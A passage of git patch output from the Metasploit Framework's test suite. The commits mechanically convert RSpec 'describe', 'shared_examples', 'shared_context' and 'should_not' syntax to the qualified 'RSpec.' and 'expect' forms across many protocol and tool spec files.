a/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb b/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb index 8ad28b44ac..31c32aa30a 100644 --- a/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/principal_name_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::PrincipalName do +RSpec.describe Rex::Proto::Kerberos::Model::PrincipalName do subject(:principal_name) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/model/ticket_spec.rb b/spec/lib/rex/proto/kerberos/model/ticket_spec.rb index 8d31ff087a..769dff4f3a 100644 --- a/spec/lib/rex/proto/kerberos/model/ticket_spec.rb +++ b/spec/lib/rex/proto/kerberos/model/ticket_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Model::Ticket do +RSpec.describe Rex::Proto::Kerberos::Model::Ticket do subject(:ticket) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb b/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb index 21355cb88d..2f3155b0c0 100644 --- a/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/client_info_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::ClientInfo do +RSpec.describe Rex::Proto::Kerberos::Pac::ClientInfo do subject(:client_info) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb b/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb index c3ac79b876..26a6388462 100644 --- a/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/logon_info_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::LogonInfo do +RSpec.describe Rex::Proto::Kerberos::Pac::LogonInfo do subject(:logon_info) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb b/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb index b2b4420d76..2071710266 100644 --- a/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/priv_srv_checksum_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::PrivSvrChecksum do +RSpec.describe Rex::Proto::Kerberos::Pac::PrivSvrChecksum do subject(:priv_svr_checksum) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb b/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb index eab933d866..7e8f6a144d 100644 --- a/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/server_checksum_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::ServerChecksum do +RSpec.describe Rex::Proto::Kerberos::Pac::ServerChecksum do subject(:server_checksum) do described_class.new diff --git a/spec/lib/rex/proto/kerberos/pac/type_spec.rb b/spec/lib/rex/proto/kerberos/pac/type_spec.rb index 5d13288125..0f235952d1 100644 --- a/spec/lib/rex/proto/kerberos/pac/type_spec.rb +++ b/spec/lib/rex/proto/kerberos/pac/type_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/proto/kerberos' -describe Rex::Proto::Kerberos::Pac::Type do +RSpec.describe Rex::Proto::Kerberos::Pac::Type do subject(:pac_type) do described_class.new diff --git a/spec/lib/rex/proto/natpmp/packet_spec.rb b/spec/lib/rex/proto/natpmp/packet_spec.rb index b702cd2002..fe9229ad8b 100644 --- a/spec/lib/rex/proto/natpmp/packet_spec.rb +++ b/spec/lib/rex/proto/natpmp/packet_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/natpmp/packet' -describe Rex::Proto::NATPMP do +RSpec.describe Rex::Proto::NATPMP do subject do mod = Module.new mod.extend described_class diff --git a/spec/lib/rex/proto/ntp/modes_spec.rb b/spec/lib/rex/proto/ntp/modes_spec.rb index e4eb6673df..094b319ab7 100644 --- a/spec/lib/rex/proto/ntp/modes_spec.rb +++ b/spec/lib/rex/proto/ntp/modes_spec.rb @@ -2,7 +2,7 @@ # require 'rex/proto/ntp/modes' -describe "Rex::Proto::NTP mode message handling" do +RSpec.describe "Rex::Proto::NTP mode message handling" do before do @payload = 'R7' * 7 end diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb index 1ab8d88750..041422992b 100644 --- a/spec/lib/rex/proto/pjl/client_spec.rb +++ b/spec/lib/rex/proto/pjl/client_spec.rb @@ -3,7 +3,7 @@ require 'msfenv' require 'msf/base' require 'rex/proto/pjl' -describe Rex::Proto::PJL::Client do +RSpec.describe Rex::Proto::PJL::Client do context "methods" do let(:default_response) do 'OK' diff --git a/spec/lib/rex/proto/quake/message_spec.rb b/spec/lib/rex/proto/quake/message_spec.rb index 33b4d1b7e8..e7a37c919c 100644 --- a/spec/lib/rex/proto/quake/message_spec.rb +++ b/spec/lib/rex/proto/quake/message_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/quake/message' -describe Rex::Proto::Quake do +RSpec.describe Rex::Proto::Quake do subject do mod = Module.new mod.extend described_class diff --git a/spec/lib/rex/proto/rmi/model/call_data_spec.rb b/spec/lib/rex/proto/rmi/model/call_data_spec.rb index 3c4f34da83..d9a7158a5f 100644 --- a/spec/lib/rex/proto/rmi/model/call_data_spec.rb +++ b/spec/lib/rex/proto/rmi/model/call_data_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::CallData do +RSpec.describe Rex::Proto::Rmi::Model::CallData do subject(:call_data) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/call_spec.rb b/spec/lib/rex/proto/rmi/model/call_spec.rb index 7a43747118..b588eacc47 100644 --- a/spec/lib/rex/proto/rmi/model/call_spec.rb +++ b/spec/lib/rex/proto/rmi/model/call_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::Call do +RSpec.describe Rex::Proto::Rmi::Model::Call do subject(:call) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/continuation_spec.rb b/spec/lib/rex/proto/rmi/model/continuation_spec.rb index dc3b1cefd2..128f2c6f91 100644 --- a/spec/lib/rex/proto/rmi/model/continuation_spec.rb +++ b/spec/lib/rex/proto/rmi/model/continuation_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::Continuation do +RSpec.describe Rex::Proto::Rmi::Model::Continuation do subject(:continuation) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb index 45163f172e..fbf0115b3e 100644 --- a/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb +++ b/spec/lib/rex/proto/rmi/model/dgc_ack_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::DgcAck do +RSpec.describe Rex::Proto::Rmi::Model::DgcAck do subject(:dgc_ack) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/output_header_spec.rb b/spec/lib/rex/proto/rmi/model/output_header_spec.rb index f130f5d9fb..f00a6e3a1d 100644 --- a/spec/lib/rex/proto/rmi/model/output_header_spec.rb +++ b/spec/lib/rex/proto/rmi/model/output_header_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::OutputHeader do +RSpec.describe Rex::Proto::Rmi::Model::OutputHeader do subject(:output_header) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb index 60223f039c..80ba8e80a5 100644 --- a/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb +++ b/spec/lib/rex/proto/rmi/model/ping_ack_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::PingAck do +RSpec.describe Rex::Proto::Rmi::Model::PingAck do subject(:ping_ack) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/ping_spec.rb b/spec/lib/rex/proto/rmi/model/ping_spec.rb index 732bc61d78..62ee1c5aed 100644 --- a/spec/lib/rex/proto/rmi/model/ping_spec.rb +++ b/spec/lib/rex/proto/rmi/model/ping_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::Ping do +RSpec.describe Rex::Proto::Rmi::Model::Ping do subject(:ping) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb index 7451d0c4a3..a1c244e087 100644 --- a/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb +++ b/spec/lib/rex/proto/rmi/model/protocol_ack_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'stringio' require 'rex/proto/rmi' -describe Rex::Proto::Rmi::Model::ProtocolAck do +RSpec.describe Rex::Proto::Rmi::Model::ProtocolAck do subject(:protocol_ack) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/return_data_spec.rb b/spec/lib/rex/proto/rmi/model/return_data_spec.rb index d275eb9c27..9c2b4e0491 100644 --- a/spec/lib/rex/proto/rmi/model/return_data_spec.rb +++ b/spec/lib/rex/proto/rmi/model/return_data_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::ReturnData do +RSpec.describe Rex::Proto::Rmi::Model::ReturnData do subject(:return_data) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/return_value_spec.rb b/spec/lib/rex/proto/rmi/model/return_value_spec.rb index 371ca04e71..29c54bf89d 100644 --- a/spec/lib/rex/proto/rmi/model/return_value_spec.rb +++ b/spec/lib/rex/proto/rmi/model/return_value_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::ReturnValue do +RSpec.describe Rex::Proto::Rmi::Model::ReturnValue do subject(:return_value) do described_class.new diff --git a/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb b/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb index 6c4bd67403..21f3252d45 100644 --- a/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb +++ b/spec/lib/rex/proto/rmi/model/unique_identifier_spec.rb @@ -5,7 +5,7 @@ require 'stringio' require 'rex/proto/rmi' require 'rex/java' -describe Rex::Proto::Rmi::Model::UniqueIdentifier do +RSpec.describe Rex::Proto::Rmi::Model::UniqueIdentifier do subject(:uid) do described_class.new diff --git a/spec/lib/rex/proto/sip/response_spec.rb b/spec/lib/rex/proto/sip/response_spec.rb index 2f9715bd93..df76b2052c 100644 --- a/spec/lib/rex/proto/sip/response_spec.rb +++ b/spec/lib/rex/proto/sip/response_spec.rb @@ -2,7 +2,7 @@ require 'rex/proto/sip/response' -describe 'Rex::Proto::SIP::Response parsing' do +RSpec.describe 'Rex::Proto::SIP::Response parsing' do describe 'Parses vaild responses correctly' do specify do resp = 'SIP/1.0 123 Sure, OK' diff --git a/spec/lib/rex/proto/steam/message_spec.rb b/spec/lib/rex/proto/steam/message_spec.rb index 1682dad924..83bf29f146 100644 --- a/spec/lib/rex/proto/steam/message_spec.rb +++ b/spec/lib/rex/proto/steam/message_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'rex/proto/steam/message' -describe Rex::Proto::Steam do +RSpec.describe Rex::Proto::Steam do subject(:steam) do mod = Module.new mod.extend described_class diff --git a/spec/lib/rex/random_identifier_generator_spec.rb b/spec/lib/rex/random_identifier_generator_spec.rb index 4a793425bb..5520aacd67 100644 --- a/spec/lib/rex/random_identifier_generator_spec.rb +++ b/spec/lib/rex/random_identifier_generator_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'rex/random_identifier_generator' -describe Rex::RandomIdentifierGenerator do +RSpec.describe Rex::RandomIdentifierGenerator do let(:options) do { :min_length => 10, :max_length => 20 } end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb index 74eb15c685..bc53fbecbb 100644 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ b/spec/lib/rex/socket/range_walker_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'rex/socket/range_walker' -describe Rex::Socket::RangeWalker do +RSpec.describe Rex::Socket::RangeWalker do let(:args) { "::1" } subject(:walker) { described_class.new(args) } diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb index 1aa6690da0..539915c533 100644 --- a/spec/lib/rex/socket_spec.rb +++ b/spec/lib/rex/socket_spec.rb @@ -2,7 +2,7 @@ require 'rex/socket/range_walker' require 'spec_helper' -describe Rex::Socket do +RSpec.describe Rex::Socket do describe '.addr_itoa' do diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb index e2d66d4ce4..fbfb4e006e 100644 --- a/spec/lib/rex/sslscan/result_spec.rb +++ b/spec/lib/rex/sslscan/result_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'rex/sslscan/result' -describe Rex::SSLScan::Result do +RSpec.describe Rex::SSLScan::Result do subject{Rex::SSLScan::Result.new} diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb index 362674a8bf..654e9236c8 100644 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ b/spec/lib/rex/sslscan/scanner_spec.rb @@ -4,7 +4,7 @@ require 'rex/thread_factory' require 'rex/text' require 'rex/compat' -describe Rex::SSLScan::Scanner do +RSpec.describe Rex::SSLScan::Scanner do subject{Rex::SSLScan::Scanner.new("google.com", 443)} diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb index 364b211fd9..e335ff6741 100644 --- a/spec/lib/rex/text_spec.rb +++ b/spec/lib/rex/text_spec.rb @@ -1,7 +1,7 @@ # -*- coding: binary -*- require 'rex/text' -describe Rex::Text do +RSpec.describe Rex::Text do context "Class methods" do context ".to_ebcdic" do diff --git a/spec/lib/rex/time_spec.rb b/spec/lib/rex/time_spec.rb index db8b0a9288..baed591271 100644 --- a/spec/lib/rex/time_spec.rb +++ b/spec/lib/rex/time_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/time' -describe Rex::ExtTime do +RSpec.describe Rex::ExtTime do let(:conversions) do { diff --git a/spec/models/metasploit/credential/core_spec.rb b/spec/models/metasploit/credential/core_spec.rb index fa70d2371a..80d36442a3 100644 --- a/spec/models/metasploit/credential/core_spec.rb +++ b/spec/models/metasploit/credential/core_spec.rb @@ -1,5 +1,5 @@ require 'spec_helper' -describe Metasploit::Credential::Core do +RSpec.describe Metasploit::Credential::Core do it_should_behave_like 'Metasploit::Credential::Core::ToCredential' end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index e8a6622bb0..036cfcc8b3 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe 'modules/payloads', :content do +RSpec.describe 'modules/payloads', :content do modules_pathname = Pathname.new(__FILE__).parent.parent.parent.join('modules') include_context 'untested payloads', modules_pathname: modules_pathname diff --git a/spec/modules_spec.rb b/spec/modules_spec.rb index 9a6577c5de..e9331cabaf 100644 --- a/spec/modules_spec.rb +++ b/spec/modules_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe 'modules', :content do +RSpec.describe 'modules', :content do modules_pathname = Pathname.new(__FILE__).parent.parent.join('modules') it_should_behave_like 'all modules with module type can be instantiated', diff --git a/spec/msfupdate_spec.rb b/spec/msfupdate_spec.rb index 304de16aa0..5cb7ad4878 100644 --- a/spec/msfupdate_spec.rb +++ b/spec/msfupdate_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' load Metasploit::Framework.root.join('msfupdate').to_path -describe Msfupdate do +RSpec.describe Msfupdate do def dummy_pathname Pathname.new(File.dirname(__FILE__)).join('dummy') diff --git a/spec/tools/cpassword_decrypt_spec.rb b/spec/tools/cpassword_decrypt_spec.rb index 8a1e3aa878..21d2cd12da 100644 --- a/spec/tools/cpassword_decrypt_spec.rb +++ b/spec/tools/cpassword_decrypt_spec.rb @@ -5,7 +5,7 @@ load Metasploit::Framework.root.join('tools/password/cpassword_decrypt.rb').to_p require 'msfenv' require 'msf/base' -describe CPassword do +RSpec.describe CPassword do context "Class methods" do let(:cpasswd) do CPassword.new diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index c969da7cce..9c6de9aafd 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -2,7 +2,7 @@ load Metasploit::Framework.root.join('tools/exploit/egghunter.rb').to_path require 'stringio' -describe Egghunter do +RSpec.describe Egghunter do describe Egghunter::Driver do diff --git a/spec/tools/java_deserializer_spec.rb b/spec/tools/java_deserializer_spec.rb index 24815f945f..25782cbca9 100644 --- a/spec/tools/java_deserializer_spec.rb +++ b/spec/tools/java_deserializer_spec.rb @@ -3,7 +3,7 @@ require 'stringio' load Metasploit::Framework.root.join('tools/exploit/java_deserializer.rb').to_path -describe JavaDeserializer do +RSpec.describe JavaDeserializer do before(:all) do @out = $stdout diff --git a/spec/tools/jsobfu_spec.rb b/spec/tools/jsobfu_spec.rb index 63af210d15..5a3aa82cbb 100644 --- a/spec/tools/jsobfu_spec.rb +++ b/spec/tools/jsobfu_spec.rb @@ -4,7 +4,7 @@ load Metasploit::Framework.root.join('tools/exploit/jsobfu.rb').to_path require 'stringio' -describe Jsobfu do +RSpec.describe Jsobfu do let(:fname) { 'test.js' diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb index 50a043db16..877664009c 100644 --- a/spec/tools/md5_lookup_spec.rb +++ b/spec/tools/md5_lookup_spec.rb @@ -3,7 +3,7 @@ load Metasploit::Framework.root.join('tools/password/md5_lookup.rb').to_path require 'rex/proto/http/response' require 'stringio' -describe Md5LookupUtility do +RSpec.describe Md5LookupUtility do # # Init some data diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index c14a54483d..da382cacd9 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -3,7 +3,7 @@ load Metasploit::Framework.root.join('tools/exploit/msu_finder.rb').to_path require 'nokogiri' require 'uri' -describe MicrosoftPatchFinder do +RSpec.describe MicrosoftPatchFinder do before(:each) do cli = Rex::Proto::Http::Client.new('127.0.0.1') diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb index 60bf2b0190..ce7deaa2be 100644 --- a/spec/tools/virustotal_spec.rb +++ b/spec/tools/virustotal_spec.rb @@ -6,7 +6,7 @@ require 'msfenv' require 'msf/base' require 'digest/sha2' -describe VirusTotalUtility do +RSpec.describe VirusTotalUtility do context "Classes" do let(:api_key) do From 2b02b9e081b1def6310a1689e7dd301abc310896 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Fri, 16 Oct 2015 15:59:34 -0500 Subject: [PATCH 1489/2172] shared_examples -> RSpec.shared_examples MSP-13484 --- spec/lib/msf/core/data_store_spec.rb | 2 +- spec/lib/rex/proto/http/client_request_spec.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index fad47dffdc..e21c729841 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/data_store' -shared_examples "datastore" do +RSpec.shared_examples "datastore" do it "should have options" do subject["foo"].should == "bar" subject["fizz"].should == "buzz" diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index a6b1a41e03..957b33439b 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -72,7 +72,7 @@ shared_context "with 'uri_full_url'" do end -shared_examples "uri_full_url" do +RSpec.shared_examples "uri_full_url" do it "#set_uri should have the host in the URI" do client_request.send(:set_uri).should start_with("http://#{host}/") From fc9ca84da57c1a150b64f58b1d083ad8e19a04da Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 09:54:02 -0500 Subject: [PATCH 1490/2172] shared_context -> RSpec.shared_context MSP-13484 shared_context must be qualified as global patching is disabled in spec_helper. --- spec/lib/rex/proto/http/client_request_spec.rb | 8 ++++---- .../metasploit/framework/spec/constants/cleaner.rb | 2 +- spec/support/shared/contexts/msf/db_manager.rb | 2 +- .../shared/contexts/msf/framework/threads/cleaner.rb | 2 +- .../shared/contexts/msf/modules/error_attributes.rb | 2 +- spec/support/shared/contexts/msf/modules/loader_base.rb | 2 +- spec/support/shared/contexts/msf/simple/framework.rb | 2 +- .../contexts/msf/simple/framework/modules/loading.rb | 2 +- spec/support/shared/contexts/msf/ui_driver.rb | 2 +- spec/support/shared/contexts/untested_payloads.rb | 2 +- 10 files changed, 13 insertions(+), 13 deletions(-) diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 957b33439b..3b55f12249 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/http/client_request' -shared_context "with no evasions" do +RSpec.shared_context "with no evasions" do before(:each) do client_request.opts['uri_dir_self_reference'] = false client_request.opts['uri_fake_params_start'] = false @@ -17,7 +17,7 @@ shared_context "with no evasions" do end -shared_context "with 'uri_dir_self_reference'" do +RSpec.shared_context "with 'uri_dir_self_reference'" do before(:each) do client_request.opts['uri_dir_self_reference'] = true end @@ -29,7 +29,7 @@ shared_context "with 'uri_dir_self_reference'" do end -shared_context "with 'uri_dir_fake_relative'" do +RSpec.shared_context "with 'uri_dir_fake_relative'" do before(:each) do client_request.opts['uri_dir_fake_relative'] = true end @@ -42,7 +42,7 @@ shared_context "with 'uri_dir_fake_relative'" do end -shared_context "with 'uri_full_url'" do +RSpec.shared_context "with 'uri_full_url'" do before(:each) do client_request.opts['uri_full_url'] = true diff --git a/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb b/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb index 44fcd529ac..d06873a092 100644 --- a/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb +++ b/spec/support/shared/contexts/metasploit/framework/spec/constants/cleaner.rb @@ -1,5 +1,5 @@ # Use in a context to clean up the constants that are created by the module loader. -shared_context 'Metasploit::Framework::Spec::Constants cleaner' do +RSpec.shared_context 'Metasploit::Framework::Spec::Constants cleaner' do after(:each) do Metasploit::Framework::Spec::Constants.clean end diff --git a/spec/support/shared/contexts/msf/db_manager.rb b/spec/support/shared/contexts/msf/db_manager.rb index 6ff47e269c..5eec254273 100644 --- a/spec/support/shared/contexts/msf/db_manager.rb +++ b/spec/support/shared/contexts/msf/db_manager.rb @@ -1,4 +1,4 @@ -shared_context 'Msf::DBManager' do +RSpec.shared_context 'Msf::DBManager' do include_context 'Msf::Simple::Framework' let(:active) do diff --git a/spec/support/shared/contexts/msf/framework/threads/cleaner.rb b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb index 3b851e8cbb..0bc9f657eb 100644 --- a/spec/support/shared/contexts/msf/framework/threads/cleaner.rb +++ b/spec/support/shared/contexts/msf/framework/threads/cleaner.rb @@ -1,4 +1,4 @@ -shared_context 'Msf::Framework#threads cleaner' do +RSpec.shared_context 'Msf::Framework#threads cleaner' do after(:each) do |example| unless framework.threads? fail RuntimeError.new( diff --git a/spec/support/shared/contexts/msf/modules/error_attributes.rb b/spec/support/shared/contexts/msf/modules/error_attributes.rb index 1d7c7474ea..924840b35e 100644 --- a/spec/support/shared/contexts/msf/modules/error_attributes.rb +++ b/spec/support/shared/contexts/msf/modules/error_attributes.rb @@ -1,5 +1,5 @@ # -*- coding:binary -*- -shared_context 'Msf::Modules::Error attributes' do +RSpec.shared_context 'Msf::Modules::Error attributes' do let(:causal_message) do 'rspec' end diff --git a/spec/support/shared/contexts/msf/modules/loader_base.rb b/spec/support/shared/contexts/msf/modules/loader_base.rb index 49bea73bc9..c0bd43e8b2 100644 --- a/spec/support/shared/contexts/msf/modules/loader_base.rb +++ b/spec/support/shared/contexts/msf/modules/loader_base.rb @@ -1,5 +1,5 @@ # -*- coding:binary -*- -shared_context "Msf::Modules::Loader::Base" do +RSpec.shared_context "Msf::Modules::Loader::Base" do let(:parent_path) do parent_pathname.to_s end diff --git a/spec/support/shared/contexts/msf/simple/framework.rb b/spec/support/shared/contexts/msf/simple/framework.rb index b3cc6bace4..ae55026049 100644 --- a/spec/support/shared/contexts/msf/simple/framework.rb +++ b/spec/support/shared/contexts/msf/simple/framework.rb @@ -2,7 +2,7 @@ require 'msf/base/simple/framework' require 'metasploit/framework' -shared_context 'Msf::Simple::Framework' do +RSpec.shared_context 'Msf::Simple::Framework' do let(:dummy_pathname) do Rails.root.join('spec', 'dummy') end diff --git a/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb b/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb index 1a92bbfa6e..9fa4a35e12 100644 --- a/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb +++ b/spec/support/shared/contexts/msf/simple/framework/modules/loading.rb @@ -24,7 +24,7 @@ # ) # } # -shared_context 'Msf::Simple::Framework#modules loading' do +RSpec.shared_context 'Msf::Simple::Framework#modules loading' do include_context 'Metasploit::Framework::Spec::Constants cleaner' include_context 'Msf::Simple::Framework' diff --git a/spec/support/shared/contexts/msf/ui_driver.rb b/spec/support/shared/contexts/msf/ui_driver.rb index 2d64576574..5e9e67b25b 100644 --- a/spec/support/shared/contexts/msf/ui_driver.rb +++ b/spec/support/shared/contexts/msf/ui_driver.rb @@ -1,4 +1,4 @@ -shared_context 'Msf::UIDriver' do +RSpec.shared_context 'Msf::UIDriver' do let(:driver) do double( 'Driver', diff --git a/spec/support/shared/contexts/untested_payloads.rb b/spec/support/shared/contexts/untested_payloads.rb index 8a7f8b2e13..76cdf43f81 100644 --- a/spec/support/shared/contexts/untested_payloads.rb +++ b/spec/support/shared/contexts/untested_payloads.rb @@ -36,7 +36,7 @@ # @param options [Hash{Symbol => Pathname}] # @option options [Pathname] :modules_pathname Pathname of `modules` directory underwhich payloads are defined on the # file system. -shared_context 'untested payloads' do |options={}| +RSpec.shared_context 'untested payloads' do |options={}| options.assert_valid_keys(:modules_pathname) modules_pathname = options.fetch(:modules_pathname) From 3fff6cabce3aae1ac2812503cdb357ede06af2ba Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 10:29:23 -0500 Subject: [PATCH 1491/2172] should_not == -> expect().not_to eq MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 2 +- spec/lib/msf/core/exploit/http/client_spec.rb | 6 +++--- spec/lib/msf/core/modules/loader/base_spec.rb | 12 ++++++------ spec/lib/rex/sslscan/result_spec.rb | 4 ++-- .../shared/examples/msf/db_manager/session.rb | 4 ++-- .../shared/examples/msf/module_manager/loading.rb | 2 +- 6 files changed, 15 insertions(+), 15 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index b9be0ab0dc..c1466fe210 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -50,7 +50,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do context 'in thread without connection' do it 'should be false' do thread = Thread.new do - Thread.current.should_not == main_thread + expect(Thread.current).not_to eq main_thread expect(active_connection?).to be_falsey end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 69aed1354c..6aa474a50b 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -139,7 +139,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should not have a trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' + expect(unnormalized_uri[-1, 1]).not_to eq '/' end it "should return original string" do @@ -190,7 +190,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should not have trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' + expect(unnormalized_uri[-1, 1]).not_to eq '/' end it "should add starting '/'" do @@ -198,7 +198,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should add trailing '/'" do - normalized_uri[-1, 1].should_not == '/' + expect(normalized_uri[-1, 1]).not_to 